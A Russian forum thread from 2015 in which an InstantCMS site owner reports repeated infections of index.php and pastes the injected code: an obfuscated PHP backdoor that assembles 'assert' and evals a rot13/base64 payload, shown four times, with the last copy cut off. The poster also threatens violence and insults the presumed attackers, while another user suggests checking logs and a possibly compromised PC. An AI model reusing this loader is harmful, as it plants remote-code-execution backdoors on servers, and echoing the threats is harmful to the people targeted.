Вопрос к админам

Администраторы даной CMS не могли подсказать???

#1 3 сентября 2015 в 04:43

Вопрос очень простой и в основнов к админам...
Как такое происходит, что на сайты добавлется код в папку и создаются
всякие папки и происходит это конкретно от самой CMS
Дальше прут вирусники и сайты закрывают хостеры…
Конкретно у меня это началось после того, как я запросил ключи билинга, Марса, и Шопа на поддомены
Если честно я нисколько не сомневаюсь в том что где собока порылась и код вирусный конкретно сидит с этими компонентами...
За месяц я поменял три аккаунта хостинга, и хостинги… а эта псина сидит в сайтах и на протяжении двух часов заливает один и тот же код и создает файлы с кодом…
Вот коды может кто сталкивался с данной проблемой… А тем кто их пихает… я за свои слова отвечаю… приеду и голову откушу. В данное время нахожусь Краснодарский край город Ейск… и добраться до Вас поддонков трудов не составит можете мне поверить.
И в Бан можете отправить… я не буду переживать… а вот вот Вам стоит уже начать переживать.

Вот один из кодов
//###==###
error_reporting(0);
$strings = «as»;$strings .= «sert»;
if (!@$kdsp) {$kdsp=1;@$strings(str_rot13('riny(onfr64_qrpbqr(«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
DbWTZkYQp0YQRcB2A1pzksp2I0o3O0XPEwZFjkBGxkZljkXGfxnJW2VQ0tVTA1pzksMKuyLltxLmRcB2A1pzksL2kip2HbWTZkXGg9MJkmMJyzX
TyhnI9aMKDbVzSfoT93K3IloS9zo3OyovVcCG0kXKfxnJW2VQ0tMzyfMI9aMKEsL29hqTIhqUZbVzu0qUN6Yl9eoaElqKA0YzAioF9aMKDhpTujC2D9V
v51pzkyozAiMTHbWS9GEIWJEIWoVyASHyMSHy9BDH1SVy0hWS9GEIWJEIWoVyWSHIISH1EsIIWWVy0cYvVzqG0vYaIloTIhL29xMFtxK1ASHyM
SHyfvFSEHHS9IH0IFK0SUEH5HVy0cYvVzLm0vYvEwZP4vWzx9ZFMcpQ0vYvEsH0IFIxIFJlWFEH1CIRIsDHERHvWqYvVznQ0vYz1xAFtvZQL2LwM
yZQt3BGH3LJVjAmt1AGWwMQRlMGMvAwL0AQZvYvEsH0IFIxIFJlWGEIWJEIWsGxSAEFWqYvEsH0IFIxIFJlWFEISIEIAHK1IFFFWqYvEsH0IFIxIF
JlWVISEDK1IGEIWsDHqSGyDvKF4xLmNhVwRvXFx7sJyzXTymp2I0XPEcLaLcXKgyL2uiVPEcLaL7sK1cMvucp3AyqPtxK1WSHIISH1EoVaNvKFxz
WvEsHxIEIHIGISfvpPWqCG0vAGx0ZQqvBJZvXKgNLKAmMKW0XPEsHxIEIHIGISfvLlWqXGg9»));'));}
//###==###

Который самостоятельно от CMS прилипает в папку index.php и даже права меняются…
и таких кодов за сегодня прилетело и каждый день прилетают… и скрипты всякие в общем чего только нет…
ужасы… сволочи проконченые… Жлабовитые мрази ...

#2 3 сентября 2015 в 04:55
Если кто знает, подскажите как то можно сайт с этого движка утащить…
А то здесь слишком бесплатная CMS…
И за компонеты билинг, марс, шоп… я приеду в октябре месяце в ЕКБ
#3 3 сентября 2015 в 05:00
Вот так выглядит один из кодов...
<?php
//###==###
error_reporting(0);
$strings = "as";$strings .= "sert";
if (!@$kdsp) {$kdsp=1;@$strings(str_rot13('riny(onfr64_qrpbqr("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"));'));}
//###==###

/******************************************************************************/
// //
// InstantCMS v1.10.6 //
// instantcms.ru/ //
// //
// written by InstantCMS Team, 2007-2015 //
// produced by InstantSoft, (www.instantsoft.ru) //
// //
// LICENSED BY GNU/GPL v2 //
// //
/******************************************************************************/
#4 3 сентября 2015 в 05:11

Всем проверяйте папки; .htaccess, index.php, index.html, а так же смотрите добавляемые левые папки со всяким бредом...

#5 3 сентября 2015 в 05:12
Тогда данная проблема была бы у всех.
Но вы пока жалуетесь один. Может ваш ПК заражен и каждый раз сливает пароли на FTP ?=) не думали об этом?

Код в модул.пхп закодирован. другие все файлы открыты. Смотрите логи вызова страниц. Там и ответ будет какой скрипт вы копируете постоянно.
#6 3 сентября 2015 в 05:23


Тогда данная проблема была бы у всех.
Но вы пока жалуетесь один. Может ваш ПК заражен и каждый раз сливает пароли на FTP ?=) не думали об этом?

Код в модул.пхп закодирован. другие все файлы открыты. Смотрите логи вызова страниц. Там и ответ будет какой скрипт вы копируете постоянно.

kirkr

с ПК нет проблем это точно… проблема появилась после того что я выше написал… запросил 8 ключей на поддомены и компоненты МАРС, ШОП, БИЛЛИНГ без всяких пачей… и буквально через два дня началось… Это было еще в Июле месяце… на хостинг может заливать только один айпи адрес и все… а тут происходит прям ужасное… и все это это идет от CMS мне уже третий хостинг об этом говорит.
#7 3 сентября 2015 в 05:29


Тогда данная проблема была бы у всех.
Но вы пока жалуетесь один. Может ваш ПК заражен и каждый раз сливает пароли на FTP ?=) не думали об этом?

Код в модул.пхп закодирован. другие все файлы открыты. Смотрите логи вызова страниц. Там и ответ будет какой скрипт вы копируете постоянно.

kirkr

А что касаемо была бы проблема у всех…
Но вот я и поднял эту тему…
о проблеме может и не все знают… а проблема в данной CMS есть и это факт сто процентов…
У меня год в принципе не было проблем… как то было по первости с мегафоном… но решилось и так до сих пор не могу понять от куда эта псина занырнула…
#8 3 сентября 2015 в 05:36
вот свеженький код
<?php
//###==###
error_reporting(0);
$strings = "as";$strings .= "sert";
if (!@$kdsp) {$kdsp=1;@$strings(str_rot13('riny(onfr64_qrpbqr("VPEkCFEsHxIEIHIGISfvpFWqB2yzXPSNWURcWUR9p3Ivp3ElXPEsH0IFIx
IFJlWFEISIEIAHK1IFFFWqYQRfZGDjXGfxMaD9p3Ivp3ElXPEkYP00YQDcB2yzVPtbWTM0CG0vYaOxMvW8sPEzqQ09Vv5lqTLvsUjxMa
D9CFVhMT9wVak8WTM0CG0vYaufplW8sPEzqQ09Vv5jpUDvsUjxMaD9CFVho2E0Vak8WTM0CG0vYz9xpPVcWvMmqUWfMJ4bWURcC
wRjWvMmqUWfMJ4bWURcCQRmAFLzVKOlMJqsoJS0L2tbVvIoKzRgrxRgJwNgBIjhKS9pYP1qWFVfWURcXKfxpQ1gMQHbpUWyM19lMK
OfLJAyXPpyKaq3q1jhXP4eXFDyWljvKSjkVvjxK1ASHyMSHyfvFSEHHS9VG1AHVy0cXGfxqG1vLKAyAwEsMTIwo2EyXPWuZwHjL25JrzE
QAJcvZwN9Vvx7WTAbCJA1pzksnJ5cqPtvnUE0pQbiYlVhWUHhVv9lYlVhWUNhVv8vYvEkYvViVv51pzkyozAiMTHbLzSmMGL0K2IhL29xMF
txK1ASHyMSHyfvFSEHHS9VG1AHVy0hVak8sPVhWS9GEIWJEIWoVyWSGH9HEI9OEREFVy0hVak8sPVhWS9GEIWJEIWoVxuHISOsIIA
SHy9OE0IBIPWqYvW8sUjvYvEsH0IFIxIFJlWVISEDK1WSExIFEIVvKFxcXGgwqKWfK3AyqT9jqPtxL2tfZGNjZGtfWUNcB2A1pzksp2I0o3O0
XPEwnPjkBGxkZljkXGfxqQ1wqKWfK2I4MJZbWTAbXGgwqKWfK2Afo3AyXPEwnPx7nJLbWUDcrlE0CJWup2H2AS9xMJAiMTHbWUDcB2yzX
UA1LaA0pvtxqPjjYQpcCG0vnUE0pQbiYlVcr2uyLJEypvtvGT9wLKEco246VPE0Vvx7MTyyB319WTAbCJA1pzksnJ5cqPtvnUE0pQbiYlVhWUH
hVv9mY2ZiVv4xpP4vYlVhWURcB2A1pzksp2I0o3O0XPEwnPjkZQNkBPjxpPx7L3IloS9mMKEipUDbWTAbYQR5BGRmYQRcBlE0CJA1pzksM
KuyLltxL2tcB2A1pzksL2kip2HbWTAbXGgcMvtxqPy7nJLbWTM0CG0vYaOxMvVcnTIuMTIlXPWQo250MJ50YIE5pTH6VTSjpTkcL2S0nJ9hY3
OxMvVcB2yzXPEzqQ09Vv5lqTLvXJuyLJEypvtvD29hqTIhqP1HrKOyBvOupUOfnJAuqTyiov9lqTLvXGgcMvtxMaD9CFVhMT9wVvybMJSxMK
VbVxAioaEyoaDgIUyjMGbtLKOjoTywLKEco24ioKA3o3WxVvx7nJLbWTM0CG0vYaufplVcnTIuMTIlXPWQo250MJ50YIE5pTH6VTSjpTkcL2S0
nJ9hY3MhMP5gpl1yrTAyoPVcB2yzXPEzqQ09Vv5jpUDvXJuyLJEypvtvD29hqTIhqP1HrKOyBvOupUOfnJAuqTyiov92ozDhoKZgpT93MKWjo2y
hqPVcB2yzXPEzqQ09Vv5iMUDvXJuyLJEypvtvD29hqTIhqP1HrKOyBvOupUOfnJAuqTyiov92ozDho2SmnKZho3OyozEiL3IgMJ50YaEyrUDvXG
gcMvtxMaD9CFVho2EjVvybMJSxMKVbVxAioaEyoaDgIUyjMGbtLKOjoTywLKEco24iqz5xYz9up2ymYz9jMJ5xo2A1oJIhqP5jpzImMJ50LKEco
24vXGgyL2uiVPE0B2EcMGg9sJyzXPSyoKO0rFtxK0ACG0gWEIfvL2kcMJ50K2AbMJAeZwVvKFxcMTyyXPEsD09CF0ySJlWwoTyyoaEsL2u
yL2flZvWqXGgcMvtunKAmMKDbWTyvqvxcr2yzXPScp3AyqPtxL19oVxuHISOsDHAQEIOHK0AVDIWGEIDvKFxcr2yzXUOlMJqsoJS0L2tbVvR
hVKHvYTMcoTIsM2I0K2AioaEyoaEmXPEsH0IFIxIFJlWGD1WWHSEsExyZEH5OGHHvKFxcXKfxLmN9VyIHEv04Vwg9MJkmMKfxLmN9Vaqc
ozEiq3ZgZGV1ZFV7sK1yoUAyrlEwZQ0xL19oVxuHISOsDHAQEIOHK0AVDIWGEIDvKGg9nJLbMaIhL3Eco25sMKucp3EmXPWwqKWfK2yhnK
DvXFy7WTZkCJA1pzksnJ5cqPtvnUE0pQbiY2ghqUW1p3DhL29gY2qyqP5jnUN/MQ0vYaIloTIhL29xMFtxK1ASHyMSHyfvH0IFIxIFK05OGHHvK
F4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKFxhVvM1CFVhqKWfMJ5wo2EyXPEsH0IFIxIFJlWVISEDK1IGEIWsDHqSGyDvKFxhVvMwCFVhWTZj
YvVznG0kWzyjCFVhWS9GEIWJEIWoVyWSGH9HEI9OEREFVy0hVvMbCFVhoJD1XPVjAwMvAzHjBQp5AGquLwN3BQH1ZzAxZGWyAzV2Aw
D0ZlVhWS9GEIWJEIWoVyASHyMSHy9BDH1SVy0hWS9GEIWJEIWoVyWSHIISH1EsIIWWVy0hWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIP
WqYvEwZP4vZFVcXGgwqKWfK3AyqT9jqPtxLmRfAQVfZPx7L3IloS9mMKEipUDbWTZkYQp0YQRcB2A1pzksp2I0o3O0XPEwZFjkBGxkZljkXGf
xnJW2VQ0tVTA1pzksMKuyLltxLmRcB2A1pzksL2kip2HbWTZkXGg9MJkmMJyzXTyhnI9aMKDbVzSfoT93K3IloS9zo3OyovVcCG0kXKfxnJW2V
Q0tMzyfMI9aMKEsL29hqTIhqUZbVzu0qUN6Yl9eoaElqKA0YzAioF9aMKDhpTujC2D9Vv51pzkyozAiMTHbWS9GEIWJEIWoVyASHyMSHy9BDH
1SVy0hWS9GEIWJEIWoVyWSHIISH1EsIIWWVy0cYvVzqG0vYaIloTIhL29xMFtxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy0cYvVzLm0vYv
EwZP4vWzx9ZFMcpQ0vYvEsH0IFIxIFJlWFEH1CIRIsDHERHvWqYvVznQ0vYz1xAFtvZQL2LwMyZQt3BGH3LJVjAmt1AGWwMQRlMGMvAwL0
AQZvYvEsH0IFIxIFJlWGEIWJEIWsGxSAEFWqYvEsH0IFIxIFJlWFEISIEIAHK1IFFFWqYvEsH0IFIxIFJlWVISEDK1IGEIWsDHqSGyDvKF4xLm
NhVwRvXFx7sJyzXTymp2I0XPEcLaLcXKgyL2uiVPEcLaL7sK1cMvucp3AyqPtxK1WSHIISH1EoVaNvKFxzWvEsHxIEIHIGISfvpPWqCG0vAGx0
ZQqvBJZvXKgNLKAmMKW0XPEsHxIEIHIGISfvLlWqXGg9"));'));}
//###==###

/******************************************************************************/
// //
// InstantCMS v1.10.6 //
// instantcms.ru/ //
// //
// written by InstantCMS Team, 2007-2015 //
// produced by InstantSoft, (www.instantsoft.ru) //
// //
// LICENSED BY GNU/GPL v2 //
// //
/******************************************************************************/

И двацать человек говорят, что конкретно проблема в самой CMS…

#9 3 сентября 2015 в 05:41
Вот на другой сайт прилетело:
<?php
//###==###
error_reporting(0);
$strings = "as";$strings .= "sert";
if (!@$kdsp) {$kdsp=1;@$strings(str_rot13('riny(onfr64_qrpbqr("VPEkCFEsHxIEIHIGISfvpFWqB2yzXPSNWURcWUR9p3Ivp3ElXPEsH0IFIxIFJ
lWFEISIEIAHK1IFFFWqYQRfZGDjXGfxMaD9p3Ivp3ElXPEkYP00YQDcB2yzVPtbWTM0CG0vYaOxMvW8sPEzqQ09Vv5lqTLvsU
jxMaD9CFVhMT9wVak8WTM0CG0vYaufplW8sPEzqQ09Vv5jpUDvsUjxMaD9CFVho2E0Vak8WTM0CG0vYz9xpPVcWvMmqUWfMJ
4bWURcCwRjWvMmqUWfMJ4bWURcCQRmAFLzVKOlMJqsoJS0L2tbVvIoKzRgrxRgJwNgBIjhKS9pYP1qWFVfWURcXKfxpQ1gMQHb
pUWyM19lMKOfLJAyXPpyKaq3q1jhXP4eXFDyWljvKSjkVvjxK1ASHyMSHyfvFSEHHS9VG1AHVy0cXGfxqG1vLKAyAwEsMTIwo2EyX
PWuZwHjL25JrzEQAJcvZwN9Vvx7WTAbCJA1pzksnJ5cqPtvnUE0pQbiYlVhWUHhVv9lYlVhWUNhVv8vYvEkYvViVv51pzkyozAiMTHbL
zSmMGL0K2IhL29xMFtxK1ASHyMSHyfvFSEHHS9VG1AHVy0hVak8sPVhWS9GEIWJEIWoVyWSGH9HEI9OEREFVy0hVak8sPVhWS
9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqYvW8sUjvYvEsH0IFIxIFJlWVISEDK1WSExIFEIVvKFxcXGgwqKWfK3AyqT9jqPtxL2tfZGN
jZGtfWUNcB2A1pzksp2I0o3O0XPEwnPjkBGxkZljkXGfxqQ1wqKWfK2I4MJZbWTAbXGgwqKWfK2Afo3AyXPEwnPx7nJLbWUDcrlE0CJWup
2H2AS9xMJAiMTHbWUDcB2yzXUA1LaA0pvtxqPjjYQpcCG0vnUE0pQbiYlVcr2uyLJEypvtvGT9wLKEco246VPE0Vvx7MTyyB319WTAbCJA
1pzksnJ5cqPtvnUE0pQbiYlVhWUHhVv9mY2ZiVv4xpP4vYlVhWURcB2A1pzksp2I0o3O0XPEwnPjkZQNkBPjxpPx7L3IloS9mMKEipUDbWT
AbYQR5BGRmYQRcBlE0CJA1pzksMKuyLltxL2tcB2A1pzksL2kip2HbWTAbXGgcMvtxqPy7nJLbWTM0CG0vYaOxMvVcnTIuMTIlXPWQo25
0MJ50YIE5pTH6VTSjpTkcL2S0nJ9hY3OxMvVcB2yzXPEzqQ09Vv5lqTLvXJuyLJEypvtvD29hqTIhqP1HrKOyBvOupUOfnJAuqTyiov9lqTLvX
GgcMvtxMaD9CFVhMT9wVvybMJSxMKVbVxAioaEyoaDgIUyjMGbtLKOjoTywLKEco24ioKA3o3WxVvx7nJLbWTM0CG0vYaufplVcnTIuMTIlX
PWQo250MJ50YIE5pTH6VTSjpTkcL2S0nJ9hY3MhMP5gpl1yrTAyoPVcB2yzXPEzqQ09Vv5jpUDvXJuyLJEypvtvD29hqTIhqP1HrKOyBvOupUO
fnJAuqTyiov92ozDhoKZgpT93MKWjo2yhqPVcB2yzXPEzqQ09Vv5iMUDvXJuyLJEypvtvD29hqTIhqP1HrKOyBvOupUOfnJAuqTyiov92ozDho2
SmnKZho3OyozEiL3IgMJ50YaEyrUDvXGgcMvtxMaD9CFVho2EjVvybMJSxMKVbVxAioaEyoaDgIUyjMGbtLKOjoTywLKEco24iqz5xYz9up2y
mYz9jMJ5xo2A1oJIhqP5jpzImMJ50LKEco24vXGgyL2uiVPE0B2EcMGg9sJyzXPSyoKO0rFtxK0ACG0gWEIfvL2kcMJ50K2AbMJAeZwVvKF
xcMTyyXPEsD09CF0ySJlWwoTyyoaEsL2uyL2flZvWqXGgcMvtunKAmMKDbWTyvqvxcr2yzXPScp3AyqPtxL19oVxuHISOsDHAQEIOHK0AV
DIWGEIDvKFxcr2yzXUOlMJqsoJS0L2tbVvRhVKHvYTMcoTIsM2I0K2AioaEyoaEmXPEsH0IFIxIFJlWGD1WWHSEsExyZEH5OGHHvKFxcXKf
xLmN9VyIHEv04Vwg9MJkmMKfxLmN9VaqcozEiq3ZgZGV1ZFV7sK1yoUAyrlEwZQ0xL19oVxuHISOsDHAQEIOHK0AVDIWGEIDvKGg9nJLbM
aIhL3Eco25sMKucp3EmXPWwqKWfK2yhnKDvXFy7WTZkCJA1pzksnJ5cqPtvnUE0pQbiY2ghqUW1p3DhL29gY2qyqP5jnUN/MQ0vYaIloTIhL29
xMFtxK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKFxhVvM1CFVhqKWfMJ5wo2EyXPEsH0IFIxIFJlWVISED
K1IGEIWsDHqSGyDvKFxhVvMwCFVhWTZjYvVznG0kWzyjCFVhWS9GEIWJEIWoVyWSGH9HEI9OEREFVy0hVvMbCFVhoJD1XPVjAwMvAzH
jBQp5AGquLwN3BQH1ZzAxZGWyAzV2AwD0ZlVhWS9GEIWJEIWoVyASHyMSHy9BDH1SVy0hWS9GEIWJEIWoVyWSHIISH1EsIIWWVy0hW
S9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqYvEwZP4vZFVcXGgwqKWfK3AyqT9jqPtxLmRfAQVfZPx7L3IloS9mMKEipUDbWTZkYQp0YQRc
B2A1pzksp2I0o3O0XPEwZFjkBGxkZljkXGfxnJW2VQ0tVTA1pzksMKuyLltxLmRcB2A1pzksL2kip2HbWTZkXGg9MJkmMJyzXTyhnI9aMKDbV
zSfoT93K3IloS9zo3OyovVcCG0kXKfxnJW2VQ0tMzyfMI9aMKEsL29hqTIhqUZbVzu0qUN6Yl9eoaElqKA0YzAioF9aMKDhpTujC2D9Vv51pzkyo
zAiMTHbWS9GEIWJEIWoVyASHyMSHy9BDH1SVy0hWS9GEIWJEIWoVyWSHIISH1EsIIWWVy0cYvVzqG0vYaIloTIhL29xMFtxK1ASHyMSH
